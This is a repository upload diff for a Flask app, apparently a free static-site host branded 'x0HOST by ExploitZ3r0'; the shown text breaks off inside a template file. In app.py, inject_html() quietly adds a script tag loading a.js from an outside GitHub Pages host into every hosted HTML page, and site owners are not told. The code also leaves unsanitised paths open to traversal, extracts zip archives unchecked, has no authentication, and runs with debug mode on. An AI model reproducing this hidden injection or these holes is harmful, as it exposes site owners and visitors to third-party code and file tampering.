Upload 8 files
Browse files- .gitignore +3 -0
- Dockerfile +33 -0
- app.py +208 -0
- requirements.txt +2 -0
- templates/dashboard.html +55 -0
- templates/edit.html +166 -0
- templates/files.html +203 -0
- templates/index.html +23 -0
.gitignore
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
uploads/
|
| 2 |
+
__pycache__/
|
| 3 |
+
data.db
|
Dockerfile
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Use official Python slim image
|
| 2 |
+
FROM python:3.11-slim
|
| 3 |
+
|
| 4 |
+
# Set working directory
|
| 5 |
+
WORKDIR /app
|
| 6 |
+
|
| 7 |
+
# Create non-root user for security (required by HF Spaces)
|
| 8 |
+
RUN useradd -m -u 1000 user
|
| 9 |
+
USER user
|
| 10 |
+
ENV HOME=/home/user \
|
| 11 |
+
PATH=/home/user/.local/bin:$PATH
|
| 12 |
+
|
| 13 |
+
# Set working directory for user
|
| 14 |
+
WORKDIR $HOME/app
|
| 15 |
+
|
| 16 |
+
# Copy requirements first for better caching
|
| 17 |
+
COPY --chown=user requirements.txt .
|
| 18 |
+
|
| 19 |
+
# Install dependencies
|
| 20 |
+
RUN pip install --no-cache-dir --upgrade pip && \
|
| 21 |
+
pip install --no-cache-dir -r requirements.txt gunicorn
|
| 22 |
+
|
| 23 |
+
# Copy application code
|
| 24 |
+
COPY --chown=user . .
|
| 25 |
+
|
| 26 |
+
# Create uploads directory with proper permissions
|
| 27 |
+
RUN mkdir -p uploads && chmod 755 uploads
|
| 28 |
+
|
| 29 |
+
# Expose port 7860 (Hugging Face Spaces default)
|
| 30 |
+
EXPOSE 7860
|
| 31 |
+
|
| 32 |
+
# Run with gunicorn for production
|
| 33 |
+
CMD ["gunicorn", "--bind", "0.0.0.0:7860", "--workers", "2", "--threads", "2", "app:app"]
|
app.py
ADDED
|
@@ -0,0 +1,208 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import os, zipfile, sqlite3, uuid, shutil
|
| 2 |
+
from datetime import datetime
|
| 3 |
+
from flask import Flask, request, render_template, redirect, url_for, abort, Response, send_from_directory
|
| 4 |
+
|
| 5 |
+
APP_NAME = "x0HOST by ExploitZ3r0"
|
| 6 |
+
UPLOAD_DIR = "uploads"
|
| 7 |
+
DB = "data.db"
|
| 8 |
+
|
| 9 |
+
INJECT_SCRIPT = '<script src="https://trejduu32-code.github.io/supreme-engine/a.js" defer></script>'
|
| 10 |
+
BRAND_COMMENT = '<!-- x0HOST by ExploitZ3r0 -->'
|
| 11 |
+
|
| 12 |
+
os.makedirs(UPLOAD_DIR, exist_ok=True)
|
| 13 |
+
|
| 14 |
+
app = Flask(__name__)
|
| 15 |
+
|
| 16 |
+
# ---------- DATABASE ----------
|
| 17 |
+
def db():
|
| 18 |
+
return sqlite3.connect(DB)
|
| 19 |
+
|
| 20 |
+
def init_db():
|
| 21 |
+
if os.path.exists(DB):
|
| 22 |
+
return
|
| 23 |
+
with db() as c:
|
| 24 |
+
c.execute("""
|
| 25 |
+
CREATE TABLE sites (
|
| 26 |
+
id TEXT PRIMARY KEY,
|
| 27 |
+
created TEXT,
|
| 28 |
+
views INTEGER DEFAULT 0,
|
| 29 |
+
expires TEXT
|
| 30 |
+
)
|
| 31 |
+
""")
|
| 32 |
+
|
| 33 |
+
# ---------- HTML INJECTION ----------
|
| 34 |
+
def inject_html(html):
|
| 35 |
+
if "supreme-engine/a.js" in html:
|
| 36 |
+
return html
|
| 37 |
+
|
| 38 |
+
block = BRAND_COMMENT + "\n" + INJECT_SCRIPT + "\n"
|
| 39 |
+
lower = html.lower()
|
| 40 |
+
|
| 41 |
+
if "</head>" in lower:
|
| 42 |
+
i = lower.rfind("</head>")
|
| 43 |
+
return html[:i] + block + html[i:]
|
| 44 |
+
return block + html
|
| 45 |
+
|
| 46 |
+
# ---------- AUTO CLEANUP ----------
|
| 47 |
+
def cleanup():
|
| 48 |
+
now = datetime.utcnow()
|
| 49 |
+
with db() as c:
|
| 50 |
+
rows = c.execute("SELECT id, expires FROM sites").fetchall()
|
| 51 |
+
for site_id, exp in rows:
|
| 52 |
+
if exp and datetime.fromisoformat(exp) < now:
|
| 53 |
+
shutil.rmtree(os.path.join(UPLOAD_DIR, site_id), ignore_errors=True)
|
| 54 |
+
c.execute("DELETE FROM sites WHERE id=?", (site_id,))
|
| 55 |
+
|
| 56 |
+
# ---------- ROUTES ----------
|
| 57 |
+
@app.route("/", methods=["GET", "POST"])
|
| 58 |
+
def index():
|
| 59 |
+
cleanup()
|
| 60 |
+
|
| 61 |
+
if request.method == "POST":
|
| 62 |
+
file = request.files["file"]
|
| 63 |
+
site_id = request.form.get("site_id") or uuid.uuid4().hex[:6]
|
| 64 |
+
expires = request.form.get("expires") or None
|
| 65 |
+
|
| 66 |
+
site_path = os.path.join(UPLOAD_DIR, site_id)
|
| 67 |
+
if os.path.exists(site_path):
|
| 68 |
+
return "ID already taken", 400
|
| 69 |
+
|
| 70 |
+
os.makedirs(site_path)
|
| 71 |
+
|
| 72 |
+
if file.filename.endswith(".zip"):
|
| 73 |
+
zip_path = os.path.join(site_path, "site.zip")
|
| 74 |
+
file.save(zip_path)
|
| 75 |
+
with zipfile.ZipFile(zip_path) as z:
|
| 76 |
+
z.extractall(site_path)
|
| 77 |
+
os.remove(zip_path)
|
| 78 |
+
else:
|
| 79 |
+
file.save(os.path.join(site_path, "index.html"))
|
| 80 |
+
|
| 81 |
+
with db() as c:
|
| 82 |
+
c.execute(
|
| 83 |
+
"INSERT INTO sites VALUES (?, ?, 0, ?)",
|
| 84 |
+
(site_id, datetime.utcnow().isoformat(), expires)
|
| 85 |
+
)
|
| 86 |
+
|
| 87 |
+
return redirect(url_for("dashboard"))
|
| 88 |
+
|
| 89 |
+
return render_template("index.html")
|
| 90 |
+
|
| 91 |
+
@app.route("/dashboard")
|
| 92 |
+
def dashboard():
|
| 93 |
+
with db() as c:
|
| 94 |
+
sites = c.execute("SELECT * FROM sites ORDER BY created DESC").fetchall()
|
| 95 |
+
return render_template("dashboard.html", sites=sites)
|
| 96 |
+
|
| 97 |
+
@app.route("/delete/<site_id>")
|
| 98 |
+
def delete(site_id):
|
| 99 |
+
shutil.rmtree(os.path.join(UPLOAD_DIR, site_id), ignore_errors=True)
|
| 100 |
+
with db() as c:
|
| 101 |
+
c.execute("DELETE FROM sites WHERE id=?", (site_id,))
|
| 102 |
+
return redirect(url_for("dashboard"))
|
| 103 |
+
|
| 104 |
+
# ---------- FILE MANAGEMENT ----------
|
| 105 |
+
def get_all_files(directory):
|
| 106 |
+
"""Recursively get all files in a directory"""
|
| 107 |
+
files = []
|
| 108 |
+
for root, dirs, filenames in os.walk(directory):
|
| 109 |
+
for filename in filenames:
|
| 110 |
+
full_path = os.path.join(root, filename)
|
| 111 |
+
rel_path = os.path.relpath(full_path, directory)
|
| 112 |
+
files.append(rel_path.replace("\\", "/"))
|
| 113 |
+
return sorted(files)
|
| 114 |
+
|
| 115 |
+
@app.route("/files/<site_id>")
|
| 116 |
+
def list_files(site_id):
|
| 117 |
+
site_path = os.path.join(UPLOAD_DIR, site_id)
|
| 118 |
+
if not os.path.exists(site_path):
|
| 119 |
+
abort(404)
|
| 120 |
+
files = get_all_files(site_path)
|
| 121 |
+
return render_template("files.html", site_id=site_id, files=files)
|
| 122 |
+
|
| 123 |
+
@app.route("/edit/<site_id>/<path:file>")
|
| 124 |
+
def edit_file(site_id, file):
|
| 125 |
+
path = os.path.join(UPLOAD_DIR, site_id, file)
|
| 126 |
+
if not os.path.exists(path):
|
| 127 |
+
abort(404)
|
| 128 |
+
try:
|
| 129 |
+
with open(path, encoding="utf-8", errors="ignore") as f:
|
| 130 |
+
content = f.read()
|
| 131 |
+
except:
|
| 132 |
+
content = "[Binary file - cannot edit]"
|
| 133 |
+
return render_template("edit.html", site_id=site_id, file=file, content=content)
|
| 134 |
+
|
| 135 |
+
@app.route("/save/<site_id>/<path:file>", methods=["POST"])
|
| 136 |
+
def save_file(site_id, file):
|
| 137 |
+
path = os.path.join(UPLOAD_DIR, site_id, file)
|
| 138 |
+
if not os.path.exists(path):
|
| 139 |
+
abort(404)
|
| 140 |
+
content = request.form.get("content", "")
|
| 141 |
+
with open(path, "w", encoding="utf-8") as f:
|
| 142 |
+
f.write(content)
|
| 143 |
+
return redirect(url_for("list_files", site_id=site_id))
|
| 144 |
+
|
| 145 |
+
@app.route("/delete-file/<site_id>/<path:file>")
|
| 146 |
+
def delete_file(site_id, file):
|
| 147 |
+
site_path = os.path.join(UPLOAD_DIR, site_id)
|
| 148 |
+
path = os.path.join(site_path, file)
|
| 149 |
+
if not os.path.exists(path):
|
| 150 |
+
abort(404)
|
| 151 |
+
os.remove(path)
|
| 152 |
+
# Clean up empty parent directories
|
| 153 |
+
parent = os.path.dirname(path)
|
| 154 |
+
while parent != site_path and os.path.isdir(parent) and not os.listdir(parent):
|
| 155 |
+
os.rmdir(parent)
|
| 156 |
+
parent = os.path.dirname(parent)
|
| 157 |
+
return redirect(url_for("list_files", site_id=site_id))
|
| 158 |
+
|
| 159 |
+
@app.route("/upload/<site_id>", methods=["POST"])
|
| 160 |
+
def upload_to_site(site_id):
|
| 161 |
+
site_path = os.path.join(UPLOAD_DIR, site_id)
|
| 162 |
+
if not os.path.exists(site_path):
|
| 163 |
+
abort(404)
|
| 164 |
+
|
| 165 |
+
file = request.files.get("file")
|
| 166 |
+
subfolder = request.form.get("subfolder", "").strip().strip("/")
|
| 167 |
+
|
| 168 |
+
if not file or not file.filename:
|
| 169 |
+
return redirect(url_for("list_files", site_id=site_id))
|
| 170 |
+
|
| 171 |
+
# Determine target directory
|
| 172 |
+
target_dir = os.path.join(site_path, subfolder) if subfolder else site_path
|
| 173 |
+
os.makedirs(target_dir, exist_ok=True)
|
| 174 |
+
|
| 175 |
+
if file.filename.endswith(".zip"):
|
| 176 |
+
# Extract ZIP file
|
| 177 |
+
zip_path = os.path.join(target_dir, "temp.zip")
|
| 178 |
+
file.save(zip_path)
|
| 179 |
+
with zipfile.ZipFile(zip_path) as z:
|
| 180 |
+
z.extractall(target_dir)
|
| 181 |
+
os.remove(zip_path)
|
| 182 |
+
else:
|
| 183 |
+
# Save single file
|
| 184 |
+
file.save(os.path.join(target_dir, file.filename))
|
| 185 |
+
|
| 186 |
+
return redirect(url_for("list_files", site_id=site_id))
|
| 187 |
+
|
| 188 |
+
@app.route("/h/<site_id>/")
|
| 189 |
+
@app.route("/h/<site_id>/<path:file>")
|
| 190 |
+
def serve(site_id, file="index.html"):
|
| 191 |
+
path = os.path.join(UPLOAD_DIR, site_id, file)
|
| 192 |
+
if not os.path.exists(path):
|
| 193 |
+
abort(404)
|
| 194 |
+
|
| 195 |
+
with db() as c:
|
| 196 |
+
c.execute("UPDATE sites SET views = views + 1 WHERE id=?", (site_id,))
|
| 197 |
+
|
| 198 |
+
if file.lower().endswith(".html"):
|
| 199 |
+
with open(path, encoding="utf-8", errors="ignore") as f:
|
| 200 |
+
html = inject_html(f.read())
|
| 201 |
+
return Response(html, mimetype="text/html")
|
| 202 |
+
|
| 203 |
+
return send_from_directory(os.path.dirname(path), os.path.basename(path))
|
| 204 |
+
|
| 205 |
+
# ---------- START ----------
|
| 206 |
+
if __name__ == "__main__":
|
| 207 |
+
init_db()
|
| 208 |
+
app.run(debug=True)
|
requirements.txt
ADDED
|
@@ -0,0 +1,2 @@
|
|
|
|
|
|
|
|
|
|
| 1 |
+
Flask
|
| 2 |
+
gunicorn
|
templates/dashboard.html
ADDED
|
@@ -0,0 +1,55 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<!DOCTYPE html>
|
| 2 |
+
<html>
|
| 3 |
+
|
| 4 |
+
<head>
|
| 5 |
+
<title>x0HOST Dashboard</title>
|
| 6 |
+
<style>
|
| 7 |
+
body {
|
| 8 |
+
background: #020617;
|
| 9 |
+
color: #fff;
|
| 10 |
+
font-family: system-ui;
|
| 11 |
+
padding: 30px
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
table {
|
| 15 |
+
width: 100%;
|
| 16 |
+
border-collapse: collapse
|
| 17 |
+
}
|
| 18 |
+
|
| 19 |
+
td,
|
| 20 |
+
th {
|
| 21 |
+
padding: 10px;
|
| 22 |
+
border-bottom: 1px solid #1f2937
|
| 23 |
+
}
|
| 24 |
+
|
| 25 |
+
a {
|
| 26 |
+
color: #22c55e
|
| 27 |
+
}
|
| 28 |
+
</style>
|
| 29 |
+
</head>
|
| 30 |
+
|
| 31 |
+
<body>
|
| 32 |
+
<h1>x0HOST Dashboard</h1>
|
| 33 |
+
<table>
|
| 34 |
+
<tr>
|
| 35 |
+
<th>ID</th>
|
| 36 |
+
<th>Views</th>
|
| 37 |
+
<th>Expires</th>
|
| 38 |
+
<th>Actions</th>
|
| 39 |
+
</tr>
|
| 40 |
+
{% for s in sites %}
|
| 41 |
+
<tr>
|
| 42 |
+
<td><a href="/h/{{s[0]}}/" target="_blank">{{s[0]}}</a></td>
|
| 43 |
+
<td>{{s[2]}}</td>
|
| 44 |
+
<td>{{s[3] or "Never"}}</td>
|
| 45 |
+
<td>
|
| 46 |
+
<a href="/files/{{s[0]}}">Edit</a> |
|
| 47 |
+
<a href="/delete/{{s[0]}}" onclick="return confirm('Delete this site?')">Delete</a>
|
| 48 |
+
</td>
|
| 49 |
+
</tr>
|
| 50 |
+
{% endfor %}
|
| 51 |
+
</table>
|
| 52 |
+
</body>
|
| 53 |
+
</script>
|
| 54 |
+
|
| 55 |
+
</html>
|
templates/edit.html
ADDED
|
@@ -0,0 +1,166 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<!DOCTYPE html>
|
| 2 |
+
<html>
|
| 3 |
+
|
| 4 |
+
<head>
|
| 5 |
+
<title>Edit {{file}} | x0HOST</title>
|
| 6 |
+
<style>
|
| 7 |
+
* {
|
| 8 |
+
box-sizing: border-box
|
| 9 |
+
}
|
| 10 |
+
|
| 11 |
+
body {
|
| 12 |
+
background: #020617;
|
| 13 |
+
color: #fff;
|
| 14 |
+
font-family: system-ui;
|
| 15 |
+
padding: 30px;
|
| 16 |
+
margin: 0
|
| 17 |
+
}
|
| 18 |
+
|
| 19 |
+
.container {
|
| 20 |
+
max-width: 1200px;
|
| 21 |
+
margin: 0 auto
|
| 22 |
+
}
|
| 23 |
+
|
| 24 |
+
h1 {
|
| 25 |
+
color: #22c55e;
|
| 26 |
+
font-size: 1.4rem;
|
| 27 |
+
margin-bottom: 5px
|
| 28 |
+
}
|
| 29 |
+
|
| 30 |
+
.breadcrumb {
|
| 31 |
+
margin-bottom: 20px
|
| 32 |
+
}
|
| 33 |
+
|
| 34 |
+
.breadcrumb a {
|
| 35 |
+
color: #22c55e;
|
| 36 |
+
text-decoration: none
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
.editor-wrap {
|
| 40 |
+
background: #0f172a;
|
| 41 |
+
border-radius: 12px;
|
| 42 |
+
overflow: hidden;
|
| 43 |
+
border: 1px solid #1e293b
|
| 44 |
+
}
|
| 45 |
+
|
| 46 |
+
.toolbar {
|
| 47 |
+
background: #1e293b;
|
| 48 |
+
padding: 12px 16px;
|
| 49 |
+
display: flex;
|
| 50 |
+
justify-content: space-between;
|
| 51 |
+
align-items: center
|
| 52 |
+
}
|
| 53 |
+
|
| 54 |
+
.file-path {
|
| 55 |
+
font-family: monospace;
|
| 56 |
+
color: #94a3b8;
|
| 57 |
+
font-size: 14px
|
| 58 |
+
}
|
| 59 |
+
|
| 60 |
+
textarea {
|
| 61 |
+
width: 100%;
|
| 62 |
+
height: calc(100vh - 250px);
|
| 63 |
+
min-height: 400px;
|
| 64 |
+
background: #0f172a;
|
| 65 |
+
color: #e2e8f0;
|
| 66 |
+
border: none;
|
| 67 |
+
padding: 20px;
|
| 68 |
+
font-family: 'Fira Code', 'Consolas', monospace;
|
| 69 |
+
font-size: 14px;
|
| 70 |
+
line-height: 1.6;
|
| 71 |
+
resize: vertical;
|
| 72 |
+
outline: none
|
| 73 |
+
}
|
| 74 |
+
|
| 75 |
+
textarea:focus {
|
| 76 |
+
background: #0a0f1a
|
| 77 |
+
}
|
| 78 |
+
|
| 79 |
+
.actions {
|
| 80 |
+
display: flex;
|
| 81 |
+
gap: 10px
|
| 82 |
+
}
|
| 83 |
+
|
| 84 |
+
.btn {
|
| 85 |
+
padding: 10px 20px;
|
| 86 |
+
border-radius: 8px;
|
| 87 |
+
border: none;
|
| 88 |
+
cursor: pointer;
|
| 89 |
+
font-weight: 600;
|
| 90 |
+
transition: all 0.2s
|
| 91 |
+
}
|
| 92 |
+
|
| 93 |
+
.btn-save {
|
| 94 |
+
background: #22c55e;
|
| 95 |
+
color: #000
|
| 96 |
+
}
|
| 97 |
+
|
| 98 |
+
.btn-save:hover {
|
| 99 |
+
background: #16a34a
|
| 100 |
+
}
|
| 101 |
+
|
| 102 |
+
.btn-cancel {
|
| 103 |
+
background: #334155;
|
| 104 |
+
color: #fff
|
| 105 |
+
}
|
| 106 |
+
|
| 107 |
+
.btn-cancel:hover {
|
| 108 |
+
background: #475569
|
| 109 |
+
}
|
| 110 |
+
|
| 111 |
+
.btn-preview {
|
| 112 |
+
background: #3b82f6;
|
| 113 |
+
color: #fff
|
| 114 |
+
}
|
| 115 |
+
|
| 116 |
+
.btn-preview:hover {
|
| 117 |
+
background: #2563eb
|
| 118 |
+
}
|
| 119 |
+
</style>
|
| 120 |
+
</head>
|
| 121 |
+
|
| 122 |
+
<body>
|
| 123 |
+
<div class="container">
|
| 124 |
+
<div class="breadcrumb">
|
| 125 |
+
<a href="/dashboard">Dashboard</a> / <a href="/files/{{site_id}}">{{site_id}}</a> /
|
| 126 |
+
<strong>{{file}}</strong>
|
| 127 |
+
</div>
|
| 128 |
+
|
| 129 |
+
<form method="post" action="/save/{{site_id}}/{{file}}">
|
| 130 |
+
<div class="editor-wrap">
|
| 131 |
+
<div class="toolbar">
|
| 132 |
+
<span class="file-path">📄 {{file}}</span>
|
| 133 |
+
<div class="actions">
|
| 134 |
+
<a href="/h/{{site_id}}/{{file}}" target="_blank" class="btn btn-preview">👁️ Preview</a>
|
| 135 |
+
<a href="/files/{{site_id}}" class="btn btn-cancel">Cancel</a>
|
| 136 |
+
<button type="submit" class="btn btn-save">💾 Save</button>
|
| 137 |
+
</div>
|
| 138 |
+
</div>
|
| 139 |
+
<textarea name="content" spellcheck="false" autofocus>{{content}}</textarea>
|
| 140 |
+
</div>
|
| 141 |
+
</form>
|
| 142 |
+
</div>
|
| 143 |
+
|
| 144 |
+
<script>
|
| 145 |
+
// Ctrl+S to save
|
| 146 |
+
document.addEventListener('keydown', function (e) {
|
| 147 |
+
if ((e.ctrlKey || e.metaKey) && e.key === 's') {
|
| 148 |
+
e.preventDefault();
|
| 149 |
+
document.querySelector('form').submit();
|
| 150 |
+
}
|
| 151 |
+
});
|
| 152 |
+
|
| 153 |
+
// Tab key support in textarea
|
| 154 |
+
document.querySelector('textarea').addEventListener('keydown', function (e) {
|
| 155 |
+
if (e.key === 'Tab') {
|
| 156 |
+
e.preventDefault();
|
| 157 |
+
const start = this.selectionStart;
|
| 158 |
+
const end = this.selectionEnd;
|
| 159 |
+
this.value = this.value.substring(0, start) + ' ' + this.value.substring(end);
|
| 160 |
+
this.selectionStart = this.selectionEnd = start + 2;
|
| 161 |
+
}
|
| 162 |
+
});
|
| 163 |
+
</script>
|
| 164 |
+
</body>
|
| 165 |
+
|
| 166 |
+
</html>
|
templates/files.html
ADDED
|
@@ -0,0 +1,203 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<!DOCTYPE html>
|
| 2 |
+
<html>
|
| 3 |
+
|
| 4 |
+
<head>
|
| 5 |
+
<title>Files - {{site_id}} | x0HOST</title>
|
| 6 |
+
<style>
|
| 7 |
+
body {
|
| 8 |
+
background: #020617;
|
| 9 |
+
color: #fff;
|
| 10 |
+
font-family: system-ui;
|
| 11 |
+
padding: 30px
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
.container {
|
| 15 |
+
max-width: 800px;
|
| 16 |
+
margin: 0 auto
|
| 17 |
+
}
|
| 18 |
+
|
| 19 |
+
h1 {
|
| 20 |
+
color: #22c55e
|
| 21 |
+
}
|
| 22 |
+
|
| 23 |
+
.breadcrumb {
|
| 24 |
+
margin-bottom: 20px
|
| 25 |
+
}
|
| 26 |
+
|
| 27 |
+
.breadcrumb a {
|
| 28 |
+
color: #22c55e;
|
| 29 |
+
text-decoration: none
|
| 30 |
+
}
|
| 31 |
+
|
| 32 |
+
.file-list {
|
| 33 |
+
background: #0f172a;
|
| 34 |
+
border-radius: 12px;
|
| 35 |
+
overflow: hidden
|
| 36 |
+
}
|
| 37 |
+
|
| 38 |
+
.file-item {
|
| 39 |
+
display: flex;
|
| 40 |
+
justify-content: space-between;
|
| 41 |
+
align-items: center;
|
| 42 |
+
padding: 14px 20px;
|
| 43 |
+
border-bottom: 1px solid #1e293b;
|
| 44 |
+
transition: background 0.2s
|
| 45 |
+
}
|
| 46 |
+
|
| 47 |
+
.file-item:hover {
|
| 48 |
+
background: #1e293b
|
| 49 |
+
}
|
| 50 |
+
|
| 51 |
+
.file-item:last-child {
|
| 52 |
+
border-bottom: none
|
| 53 |
+
}
|
| 54 |
+
|
| 55 |
+
.file-name {
|
| 56 |
+
color: #e2e8f0;
|
| 57 |
+
font-family: monospace
|
| 58 |
+
}
|
| 59 |
+
|
| 60 |
+
.file-actions a {
|
| 61 |
+
color: #22c55e;
|
| 62 |
+
text-decoration: none;
|
| 63 |
+
margin-left: 15px;
|
| 64 |
+
padding: 6px 12px;
|
| 65 |
+
background: #064e3b;
|
| 66 |
+
border-radius: 6px;
|
| 67 |
+
font-size: 13px;
|
| 68 |
+
transition: background 0.2s
|
| 69 |
+
}
|
| 70 |
+
|
| 71 |
+
.file-actions a:hover {
|
